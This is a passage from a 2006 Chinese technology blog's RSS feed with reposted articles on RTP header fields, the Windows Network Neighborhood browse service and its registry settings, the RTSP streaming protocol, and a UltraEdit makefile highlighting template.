										<p>   sequence number: 16 bits<br />      序列号，每个RTP packet发送后该序列号加1，接收方可以根据该序列号重新排列数据包顺序。</p>
										<p>   timestamp: 32 bits<br />      时间戳。反映RTP packet所携带信息包中第一个字节的采样时间。</p>
										<p>   SSRC: 32 bits<br />      标识数据源。在一个RTP Session其间每个数据流都应该有一个不同的SSRC。</p>
										<p>   CSRC list: 0 to 15 items, 32 bits each<br />      标识贡献的数据源。只有存在Mixer的时候才有效。如一个将多声道的语音流合并成一个单声道的语音流，在这里就列出原来每个声道的SSRC。<br /></p>
								</td>
						</tr>
						<tr>
								<td>
										<div align="right">
												<font color="#c61c18">santi 发表于 2006-3-8 20:24:00 <br /><table cellspacing="0" cellpadding="5" width="550" align="center" border="0"><tbody><tr><td class="title" width="560">另一处引用：<br />协议结构</td></tr></tbody></table><br /><table cellspacing="1" cellpadding="5" width="550" bgcolor="#999999" border="0"><tbody><tr align="middle" bgcolor="#efefef"><td><strong>1</strong></td><td><strong>2</strong></td><td><strong>3</strong></td><td><strong>8</strong></td><td><strong>9</strong></td><td><strong>16bit</strong></td></tr><tr align="middle" bgcolor="#ffffff"><td>V</td><td>P</td><td>X</td><td>CSRC Count</td><td>M</td><td>Payload Type</td></tr><tr align="middle" bgcolor="#ffffff"><td colspan="4">Sequence number</td><td colspan="2">Timestamp</td></tr><tr align="middle" bgcolor="#ffffff"><td colspan="4">SSRC</td><td colspan="2">CSRC (variable 0 – 15 items 32bits each)</td></tr></tbody></table><br /><table cellspacing="0" cellpadding="5" width="550" border="0"><tbody><tr><td><ul><li>V ― 版本。识别 RTP 版本。 
</li><li>P ― 间隙（Padding）。设置时，数据包包含一个或多个附加间隙位组，其中这部分不属于有效载荷。 
</li><li>X ― 扩展位。设置时，在固定头后面，根据指定格式设置一个扩展头。 
</li><li>CSRC Count ― 包含 CSRC 标识符（在固定头后）的编号。 
</li><li>M ― 标记。标记的解释由 Profile 文件定义。允许重要事件如帧边界在数据包流中进行标记。 
</li><li>Payload Type ― 识别 RTP 有效载荷的格式，并通过应用程序决定其解释。Profile 文件规定了从 Payload 编码到 Payload 格式的缺省静态映射。另外的 Payload Type 编码可能通过非 RTP 方法实现动态定义。 
</li><li>Sequence Number ― 每发送一个 RTP 数据包，序列号增加1。接收方可以依次检测数据包的丢失并恢复数据包序列。 
</li><li>Timestamp ― 反映 RTP 数据包中的第一个八位组的采样时间。采样时间必须通过时钟及时提供线性无变化增量获取，以支持同步和抖动计算。 
</li><li>SSRC ― 同步源。该标识符随机选择，旨在确保在同一个 RTP 会话中不存在两个同步源具有相同的 SSRC 标识符。 </li></ul>　　CSRC ― 贡献源标识符。识别该数据包中的有效载荷的贡献源。 </td></tr></tbody></table><br /><table cellspacing="1" cellpadding="5" width="550" bgcolor="#999999" border="0"><tbody><tr bgcolor="#ffffff"><td align="middle" width="100">相关协议</td><td><a href="http://www.networkdictionary.com/chinese/protocols/rtcp.php" target="_blank"><font color="#000000">RTCP</font></a>、<a href="http://www.networkdictionary.com/chinese/protocols/rtsp.php" target="_blank"><font color="#000000">RTSP</font></a>、<a href="http://www.networkdictionary.com/chinese/protocols/udp.php" target="_blank"><font color="#000000">UDP</font></a>、<a href="http://www.networkdictionary.com/chinese/protocols/tcp.php" target="_blank"><font color="#000000">TCP</font></a>、<a href="http://www.networkdictionary.com/chinese/protocols/ip.php" target="_blank"><font color="#000000">IP</font></a></td></tr><tr bgcolor="#ffffff"><td align="middle" width="100">组织来源</td><td>RTP 由 IETF（<a href="http://www.ietf.org/" target="_blank"><font color="#000000">www.ietf.org</font></a>）定义在 RFC 3550和3551中。 </td></tr><tr bgcolor="#ffffff"><td align="middle" width="100">相关链接</td><td><a href="http://www.javvin.com/protocol/rfc3550.pdf" target="_blank"><font color="#000000">http://www.javvin.com/protocol/rfc3550.pdf</font></a>: RTP: A Transport Protocol for Real-Time Applications<br /><a href="http://www.javvin.com/protocol/rfc3551.pdf" target="_blank"><font color="#000000">http://www.javvin.com/protocol/rfc3551.pdf</font></a>: RTP Profile for Audio and Video Conferences with Minimal Control</td></tr></tbody></table><br /><font color="#ffffff">【转自世纪安全网 http://www.21safe.com】</font></font>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/liaoqingshan/aggbug/9166.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/liaoqingshan/" target="_blank">游子</a> 2006-04-14 09:37 <a href="http://www.cnitblog.com/liaoqingshan/articles/9166.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网上邻居的工作原理</title><link>http://www.cnitblog.com/liaoqingshan/articles/9140.html</link><dc:creator>游子</dc:creator><author>游子</author><pubDate>Thu, 13 Apr 2006 10:43:00 GMT</pubDate><guid>http://www.cnitblog.com/liaoqingshan/articles/9140.html</guid><wfw:comment>http://www.cnitblog.com/liaoqingshan/comments/9140.html</wfw:comment><comments>http://www.cnitblog.com/liaoqingshan/articles/9140.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/liaoqingshan/comments/commentRss/9140.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/liaoqingshan/services/trackbacks/9140.html</trackback:ping><description><![CDATA[   给大家介绍一下网上邻居的工作原理：浏览服务，希望大家有所收获！！<br /><br />    “浏览服务”非常重要，很多用户已经养成了对“网络邻居”的严重依赖。<br />    用户成功登录网络后，接下来通常是访问网络资源。为了帮助用户找到网络资源，微软网使用了叫做“浏览服务”的机制完成网络资源查找和定位。客户的浏览过程如下：<br /><br />    通过向主浏览器发布公告将服务器增加到浏览列表。<br />    主浏览器与备份浏览器共享服务器（域）列表。<br />    客户机从主浏览器检索备份浏览器的计算机列表。<br />    客户机和备份浏览器联系以检索服务器列表。<br />    客户机和服务器联系以检索服务器上的共享资源列表。<br /><br />    而在网络上，为了有效地定位网络资源，Microsoft Windows网络的浏览服务必须有特定的“浏览服务器”参与并提供。<br />    浏览服务器的角色分为“（域）主浏览服务器”，“备份浏览服务器”，“潜在浏览服务器”几种。<br /><br />    浏览服务器一般由最先启动的计算机担任，然后可以通过选举来自动变更或者交接。<br />    每隔15分钟，每个子网的主浏览器向本子网上的其他主浏览器宣示自己。<br />    每隔12分钟，每个域主浏览器与WINS联系以取得所有domainname〈1B〉域的列表。<br />    每隔12分钟，每个主浏览器（子网）与域主浏览器联系以更新浏览表。<br />    每隔12分钟，每个备份浏览器和它的局部主浏览器联系以检索和更新浏览表。<br />    所有有服务器组件（也就是说，具有共享网络资源的能力）的计算机向它们局部域中的主浏览器宣示自己。<br />    当本地子网找不到主浏览器或初始化域控制器时都会发生浏览器选举。 选举按照操作系统版本号和身份来决定胜负。<br />    而且此过程中的大部分流量都是广播流量。这就是为什么在多子网环境下需要Wins才能正常使用“网络邻居”。也是为什么竭力建议在企业网络里面尽量少的使用“网络邻居”。它的工作过程决定了在比较大和动态变化的网络里面，注定是不可靠和存在众多问题，并带来混乱的。<br />    浏览服务没有直接的控制选项，除了对于Win9x可以在“网络属性-文件和打印共享服务属性”中控制计算机是否成为浏览服务器，必须通过修改注册表来进行。以下是一些注册表控制参数：（只在Windows NT/Windows 2000下通过测试）注意大小写！<br /><br />    在网络邻居中隐藏特定的计算机：<br />    固然可以通过关掉“server”服务来达到这一目的，但也丧失了提供共享资源的途径。可以修改注册表：<br />    \SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters<br /><br />    建立或者修改：<br />    “Hidden“=dword:1/0<br />    1为隐藏。隐藏之后还是能通过UNC路径名来访问的。<br /><br />    再就是关于控制是否成为“浏览服务器”的注册表项：<br />    win2000计算机，修改注册表:<br />    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters<br />    “MaintainServerList“=REG_SZ:YES/NO/AUTO<br />    “YES“为作为浏览服务器，“NO“不作为，“AUTO“自动。<br /><br />    win9x计算机，控制面版-网络-文件和打印共享服务属性：<br />    主控浏览服务器：无效/有效/自动<br /><br />    议不要设置win9x计算机为有效，并把经常重启或者从网络断开的计算机设置为无效，来改善网络邻居的工作并提高网络效率。 <img src ="http://www.cnitblog.com/liaoqingshan/aggbug/9140.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/liaoqingshan/" target="_blank">游子</a> 2006-04-13 18:43 <a href="http://www.cnitblog.com/liaoqingshan/articles/9140.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RTSP协议</title><link>http://www.cnitblog.com/liaoqingshan/articles/9134.html</link><dc:creator>游子</dc:creator><author>游子</author><pubDate>Thu, 13 Apr 2006 09:57:00 GMT</pubDate><guid>http://www.cnitblog.com/liaoqingshan/articles/9134.html</guid><wfw:comment>http://www.cnitblog.com/liaoqingshan/comments/9134.html</wfw:comment><comments>http://www.cnitblog.com/liaoqingshan/articles/9134.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/liaoqingshan/comments/commentRss/9134.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/liaoqingshan/services/trackbacks/9134.html</trackback:ping><description><![CDATA[
		<p>实时流协议RTSP(RealTimeStreamingProtocol)是由RealNetworks和Netscape共同提出的，该<br />协议定义了一对多应用程序如何有效地通过IP网络传送多媒体数据。RTSP在体系结构上位于RTP<br />和RTCP之上，它使用TCP或RTP完成数据传输。HTTP与RTSP相比，HTTP传送HTML，而RTP传送的<br />是多媒体数据。HTTP请求由客户机发出，服务器作出响应；使用RTSP时，客户机和服务器都可<br />以发出请求，即RTSP可以是双向的。<br />6.3 RTSP协议<br />　 实时流协议（RTSP）是应用级协议，控制实时数据的发送。RTSP提供了一个可扩展框架，使<br />实时数据，如音频与视频，的受控、点播成为可能。数据源包括现场数据与存储在剪辑中数据<br />。该协议目的在于控制多个数据发送连接，为选择发送通道，如UDP、组播UDP与TCP，提供途径<br />，并为选择基于RTP上发送机制提供方法。<br />　 6.3.1 简介<br />　 6.3.1.1 目的<br />　 实时流协议（RTSP）建立并控制一个或几个时间同步的连续流媒体。尽管连续媒体流与控制<br />流交*是可能的，通常它本身并不发送连续流。换言之，RTSP充当多媒体服务器的网络远程控<br />制。RTSP连接没有绑定到传输层连接，如TCP。在RTSP连接期间，RTSP用户可打开或关闭多个对<br />服务器的可*传输连接以发出RTSP 请求。此外，可使用无连接传输协议，如UDP。RTSP流控制<br />的流可能用到RTP，但RTSP操作并不依赖用于携带连续媒体的传输机制。实时流协议在语法和操<br />作上与HTTP/1.1类似，因此HTTP的扩展机制大都可加入RTSP。协议支持的操作如下：<br />　 从媒体服务器上检索媒体：<br />　 用户可通过HTTP或其它方法提交一个演示描述。如演示是组播，演示式就包含用于连续媒体<br />的的组播地址和端口。如演示仅通过单播发送给用户，用户为了安全应提供目的地址。<br />　 媒体服务器邀请进入会议：<br />　 媒体服务器可被邀请参加正进行的会议，或回放媒体，或记录其中一部分，或全部。这种模<br />式在分布式教育应用上很有用，会议中几方可轮流按远程控制按钮。<br />　 将媒体加到现成讲座中：<br />　 <br />如服务器告诉用户可获得附加媒体内容，对现场讲座显得尤其有用。如HTTP/1.1中类似，RTSP<br />请求可由代理、通道与缓存处理。<br />　 <br />　 6.3.1.2 协议特点<br />　 RTSP 特性如下：<br />　 可扩展性：<br />　 新方法和参数很容易加入RTSP。<br />　 易解析：<br />　 RTSP可由标准 HTTP或MIME解吸器解析。<br />　 安全：<br />　 RTSP使用网页安全机制。<br />　 独立于传输：<br />　 RTSP可使用不可*数据报协议（UDP）、可*数据报协议（RDP），如要实现应用级可*，可<br />使用可*流协议。<br />　 多服务器支持：<br />　 每个流可放在不同服务器上，用户端自动同不同服务器建立几个并发控制连接，媒体同步在<br />传输层执行。<br />　 记录设备控制：<br />　 协议可控制记录和回放设备。<br />　 流控与会议开始分离：<br />　 仅要求会议初始化协议提供，或可用来创建唯一会议标识号。特殊情况下， SIP或H.323<br />　 可用来邀请服务器入会。<br />　 适合专业应用：<br />　 通过SMPTE 时标，RTSP支持帧级精度，允许远程数字编辑<br />　 演示描述中立：<br />　 <br />协议没强加特殊演示或元文件，可传送所用格式类型；然而，演示描述至少必须包含一个RTSP <br />URI。<br />　 代理与防火墙友好：<br />　 协议可由应用和传输层防火墙处理。防火墙需要理解SETUP方法，为UDP媒体流打开一个"缺<br />口"。<br />　 HTTP友好：<br />　 此处，RTSP明智的采用HTTP观念，使现在结构都可重用。结构包括Internet 内容选择平台<br />（PICS）。由于在大多数情况下控制连续媒体需要服务器状态， RTSP不仅仅向HTTP 添加方法<br />。　 适当的服务器控制：<br />　 如用户启动一个流，他必须也可以停止一个流。<br />　 传输协调；<br />　 实际处理连续媒体流前，用户 可协调传输方法。<br />　 性能协调：<br />　 如基本特征无效，必须有一些清理机制让用户决定那种方法没生效。这允许用户提出适合的<br />用户界面。<br />　 6.3.1.3扩展RTSP<br />　 由于不是所有媒体服务器有着相同的功能，媒体服务器有必要支持不同请求集。RTSP 可以<br />如下三种方式扩展，这里以改变大小排序：<br />　 以新参数扩展。如用户需要拒绝通知，而方法扩展不支持，相应标记就加入要求的段中。<br />　 加入新方法。如信息接收者不理解请求，返回501错误代码（还未实现），发送者不应再次<br />尝试这种方法。用户可使用OPTIONS方法查询服务器支持的方法。服务器使用公共响应头列出支<br />持的方法。<br />　 定义新版本协议，允许改变所有部分。（除了协议版本号位置）<br />　 6.3.1.4操作模式<br />　 每个演示和媒体流可用RTSP URL识别。演示组成的整个演示与媒体属性由演示描述文件定义<br />。使用HTTP或其它途径用户可获得这个文件，它没有必要保存在媒体服务器上。<br />　 为了说明，假设演示描述描述了多个演示，其中每个演示维持了一个公共时间轴。为简化说<br />明，且不失一般性，假定演示描述的确包含这样一个演示。演示可包含多个媒体流。除媒体参<br />数外，网络目标地址和端口也需要决定。下面区分几种操作模式：<br />　 单播：<br />　 以用户选择的端口号将媒体发送到RTSP请求源。<br />　 组播，服务器选择地址：<br />　 媒体服务器选择组播地址和端口，这是现场直播或准点播常用的方式。<br />　 组播，用户选择地址：<br />　 如服务器加入正在进行的组播会议，组播地址、端口和密匙由会议描述给出。<br />　 6.3.1.5 RTSP状态<br />　 RTSP控制通过单独协议发送的流，与控制通道无关。例如，RTSP控制可通过TCP连接，而数<br />据流通过UDP。因此，即使媒体服务器没有收到请求，数据也会继续发送。在连接生命期，单个<br />媒体流可通过不同TCP连接顺序发出请求来控制。所以，服务器需要维持能联系流与RTSP请求的<br />连接状态。RTSP中很多方法与状态无关，但下列方法在定义服务器流资源的分配与应用上起着<br />重要的作用：<br />　 SETUP：<br />　 让服务器给流分配资源，启动RTSP连接。<br />　 PLAY与RECORD：<br />　 启动SETUP 分配流的数据传输。<br />　 PAUSE：<br />　 临时停止流，而不释放服务器资源。<br />　 TEARDOWN：<br />　 释放流的资源，RTSP连接停止。<br />　 标识状态的RTSP方法使用连接头段识别RTSP连接，为响应SETUP请求，服务器连<br />　 接产生连接标识。<br />　 <br />　 6.3.1.6 与其他协议关系<br />　 RTSP在功能上与HTTP有重叠，与HTTP相互作用体现在与流内容的初始接触是通过网页的。目<br />前的协议规范目的在于允许在网页服务器与实现RTSP媒体服务器之间存在不同传递点。例如，<br />演示描述可通过HTTP和RTSP检索，这降低了浏览器的往返传递，也允许独立RTSP 服务器与用户<br />不全依*HTTP。<br />　 但是，RTSP与HTTP 的本质差别在于数据发送以不同协议进行。HTTP是不对称协议，用户发<br />出请求，服务器作出响应。RTSP中，媒体用户和服务器都可发出请求，且其请求都是无状态的<br />；在请求确认后很长时间内，仍可设置参数，控制媒体流。重用HTTP功能至少在两个方面有好<br />处，即安全和代理。要求非常接近，在缓存、代理和授权上采用HTTP功能是有价值的。<br />　 当大多数实时媒体使用RTP作为传输协议时，RTSP没有绑定到RTP。RTSP假设存在演示描述格<br />式可表示包含几个媒体流的演示的静态与临时属性。<br />　 <br />　 6.3.2 协议参数<br />　 <br />　 6.3.3 RTSP 信息<br />　 RTSP是基于文本的协议，采用ISO 10646 字符集，使用UTF-8编码方案。行以CRLF中断，但<br />接收者本身可将CR和LF解释成行终止符。基于文本的协议使以自描述方式增加可选参数更容易<br />。由于参数的数量和命令的频率出现较低，处理效率没引起注意。如仔细研究，文本协议很容<br />易以脚本语言（如：Tcl、Visual Basic与Perl）实现研究原型。<br />　 10646字符集避免敏感字符集切换，但对应用来说不可见。RTCP也采用这种编码方案。带有<br />重要意义位的ISO 8859-1字符表示如100001x 10xxxxxx.。RTSP信息可通过任何低层传输协议<br />携带。<br />　 请求包括方法、方法作用于其上的对象和进一步描述方法的参数。方法也可设计为在服务器<br />端只需要少量或不需要状态维护。当信息体包含在信息中，信息体长度有如下因素决定：<br />　 不管实体头段是否出现在信息中，不包括信息体的的响应信息总以头段后第一和空行结束。<br />　 如出现内容长度头段，其值以字节计，表示信息体长度。如未出现头段，其值为零。<br />　 服务器关闭连接。<br />　 注意：RTSP目前并不支持HTTP/1.1"块"传输编码，需要有内容长度头。假如返回适度演示描<br />述长度，即使动态产生，使块传输编码没有必要，服务器也应该能决定其长度。如有实体，即<br />使必须有内容长度，且长度没显式给出，规则可确保行为合理。<br />　 从用户到服务器端的请求信息在第一行内包括源采用的方法、源标识和所用协议版本。RTSP<br />定义了附加状态代码，而没有定义任何HTTP代码。<br />　 6.3.4 实体<br />　 如不受请求方法或响应状态编码限制，请求和响应信息可传输实体，实体由实体头文件和试<br />题体组成，有些响应仅包括实体头。在此，根据谁发送实体、谁接收实体，发送者和接收者可<br />分别指用户和服务器。<br />　 实体头定义实体体可选元信息，如没有实体体，指请求标识的资源。扩展头机制允许定义附<br />加实体头段，而不用改变协议，但这些段不能假定接收者能识别。不可识别头段应被接收者忽<br />略，而让代理转发。<br />　 6.3.5 连接<br />　 RTSP请求可以几种不同方式传送：<br />　 1、持久传输连接，用于多个请求/响应传输。<br />　 2、每个请求/响应传输一个连接。<br />　 3、无连接模式。<br />　 传输连接类型由RTSP URI来定义。对 "rtsp" 方案，需要持续连接；而"rtspu"方案，调用<br />RTSP 请求发送，而不用建立连接。<br />　 不象HTTP，RTSP允许媒体服务器给媒体用户发送请求。然而，这仅在持久连接时才支持，否<br />则媒体服务器没有可*途径到达用户，这也是请求通过防火墙从媒体服务器传到用户的唯一途<br />径。<br />　 6.3.6 方法定义<br />　 方法记号表示资源上执行的方法，它区分大小写。新方法可在将来定义，但不能以$开头。<br />　 某些防火墙设计与其他环境可能要求服务器插入RTSP方法和流数据。由于插入将使客户端和服务器操作复杂，并强加附加开销，除非有必要，应避免这样做。插入二进制数据仅在RTSP通过TCP传输时才可使用。流数据（如RTP包）用一个ASCII美圆符号封装，后跟一个一字节通道标识，其后是封装二进制数据的长度，两字节整数。流数据紧跟其后，没有CRLF，但包括高层协议头。每个$块包含一个高层协议数据单元。<br />　 当传输选择为RTP，RTCP信息也被服务器通过TCP连接插入。缺省情况下，RTCP包在比RTP通道高的第一个可用通道上发送。客户端可能在另一通道显式请求RTCP包 ，这可通过指定传输头插入参数中的两个通道来做到。当两个或更多流交叉时，为取得同步，需要RTCP。而且，这为当网络设置需要通过TCP控制连接透过RTP/RTCP提供了一条方便的途径，可能时，在UDP上进行传输。<br />　 6.3.7 流水线操作<br />　 支持持久连接或无连接的客户端可能给其请求排队。服务器必须以收到请求的同样顺序发出响应。如果请求不是发送给组播组，接收者就确认请求，如没有确认信息，发送者可在超过一个来回时间（RTT）后重发同一信息。<br />　 RTT在TCP中估计，初始值为500 ms。应用缓存最后所测量的RTT，作为将来连接的初始值。如使用一个可靠传输协议传输RTSP，请求不允许重发，RTSP应用反过来依赖低层传输提供可靠性。如两个低层可靠传输（如TCP 和RTSP）应用重发请求，有可能每个包损失导致两次重传。由于传输栈在第一次尝试到达接收着者前不会发送应用层重传，接收者也不能充分利用应用层重传。如包损失由阻塞引起，不同层的重发将使阻塞进一步恶化。时标头用来避免重发模糊性问题，避免对圆锥算法的依赖。每个请求在CSeq头中携带一个系列号，每发送一个不同请求，它就加一。如由于没有确认而重发请求，请求必须携带初始系列号。<br />　 实现RTSP的系统必须支持通过TCP传输RTSP ，并支持UDP。对UDP和TCP，RTSP服务器的缺省端口都是554。许多目的一致的RTSP包被打包成单个低层PDU或TCP流。RTSP数据可与RTP和RTCP包交叉。不象HTTP，RTSP信息必须包含一个内容长度头，无论信息何时包含负载。否则，RTSP包以空行结束，后跟最后一个信息头。 </p>
<img src ="http://www.cnitblog.com/liaoqingshan/aggbug/9134.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/liaoqingshan/" target="_blank">游子</a> 2006-04-13 17:57 <a href="http://www.cnitblog.com/liaoqingshan/articles/9134.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>makefile高亮阅读</title><link>http://www.cnitblog.com/liaoqingshan/articles/8881.html</link><dc:creator>游子</dc:creator><author>游子</author><pubDate>Sat, 08 Apr 2006 09:02:00 GMT</pubDate><guid>http://www.cnitblog.com/liaoqingshan/articles/8881.html</guid><wfw:comment>http://www.cnitblog.com/liaoqingshan/comments/8881.html</wfw:comment><comments>http://www.cnitblog.com/liaoqingshan/articles/8881.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/liaoqingshan/comments/commentRss/8881.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/liaoqingshan/services/trackbacks/8881.html</trackback:ping><description><![CDATA[
		<table class="tablebody2" style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" width="90%" border="0">
				<tbody>
						<tr>
								<td style="FONT-SIZE: 9pt; LINE-HEIGHT: 12pt" width="100%">
										<img alt="发帖心情" src="http://172.18.7.4/bbs/face/face1.gif" border="0" /> <b>makefile高亮阅读</b><br /><br />我们一般用UltaEdit编辑makefile文件。但是因为没有扩展名，文件总是一片黑色。对于复杂一点的，找半天找不出一对ifeq endif......<br />现在好了，用我的独门武功：将"makefile模板文件"下载到本地，解压后另存为wordfile.txt。复制到uC的安装目录，覆盖原文件，重启UE即可。它将自动把makefile按语法高亮显示，且对makefile做了量身定制。让你“打编”天下makefile无敌手！</td>
						</tr>
				</tbody>
		</table>makefile模板文件下载：<a href="/Files/liaoqingshan/makefileTemp.rar"><br />http://www.cnitblog.com/Files/liaoqingshan/makefileTemp.rar</a><br /><img src="http://172.18.7.4/bbs/emot/em01.gif" align="middle" border="0" /><img src ="http://www.cnitblog.com/liaoqingshan/aggbug/8881.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/liaoqingshan/" target="_blank">游子</a> 2006-04-08 17:02 <a href="http://www.cnitblog.com/liaoqingshan/articles/8881.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>